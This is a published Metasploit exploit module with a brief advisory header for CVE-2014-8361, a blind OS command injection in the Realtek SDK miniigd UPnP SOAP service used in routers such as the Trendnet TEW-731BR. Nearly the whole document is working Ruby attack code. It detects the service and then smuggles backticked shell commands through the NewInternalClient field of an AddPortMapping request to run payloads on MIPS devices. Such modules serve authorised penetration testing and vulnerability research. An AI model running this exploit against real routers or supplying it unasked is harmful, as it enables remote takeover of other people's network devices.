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Realtek SDK Miniigd UPnP SOAP Command Execution

Realtek SDK Miniigd UPnP SOAP Command Execution
Posted May 29, 2015
Authored by Michael Messner, Ricky Lawshae | Site metasploit.com

Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This Metasploit module has been tested successfully on a Trendnet TEW-731BR router with emulation.

tags | exploit
advisories | CVE-2014-8361
SHA-256 | a727354d03f176b35f63aa0ffc5bb38a19701e52b268455eadf7ca7c31e71bff

Realtek SDK Miniigd UPnP SOAP Command Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include REXML

def initialize(info = {})
super(update_info(info,
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
'Description' => %q{
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
there is no output for the executed command. This module has been tested successfully on a
Trendnet TEW-731BR router with emulation.
},
'Author' =>
[
'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8361'],
['ZDI', '15-155'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
],
'DisclosureDate' => 'Apr 24 2015',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0
))

deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')

register_options(
[
Opt::RPORT(52869) # port of UPnP SOAP webinterface
], self.class)
end

def check
begin
res = send_request_cgi({
'uri' => '/picsdesc.xml'
})
if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Trying to access the device ...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end

print_status("#{peer} - Exploiting...")

execute_cmdstager(
:flavor => :echo,
:linemax => 50,
:nodelete => true
)
end

def execute_command(cmd, opts)
uri = '/wanipcn.xml'
soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
data_cmd = '<?xml version="1.0"?>' + build_soap_req

begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => 'text/xml',
'method' => 'POST',
'headers' => {
'SOAPAction' => soap_action
},
'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def build_soap_req
new_external_port = rand(32767) + 32768
new_internal_port = rand(32767) + 32768

xml = Document.new

xml.add_element(
'SOAP-ENV:Envelope',
{
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
})

xml.root.add_element('SOAP-ENV:Body')

body = xml.root.elements[1]

body.add_element(
'm:AddPortMapping',
{
'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
})

port_mapping = body.elements[1]
port_mapping.add_element('NewLeaseDuration')
port_mapping.add_element('NewInternalClient')
port_mapping.add_element('NewEnabled')
port_mapping.add_element('NewExternalPort')
port_mapping.add_element('NewRemoteHost')
port_mapping.add_element('NewProtocol')
port_mapping.add_element('NewInternalPort')

port_mapping.elements['NewLeaseDuration'].text = ''
port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
port_mapping.elements['NewEnabled'].text = '1'
port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"
port_mapping.elements['NewRemoteHost'].text = ''
port_mapping.elements['NewProtocol'].text = 'TCP'
port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"

xml.to_s
end

end
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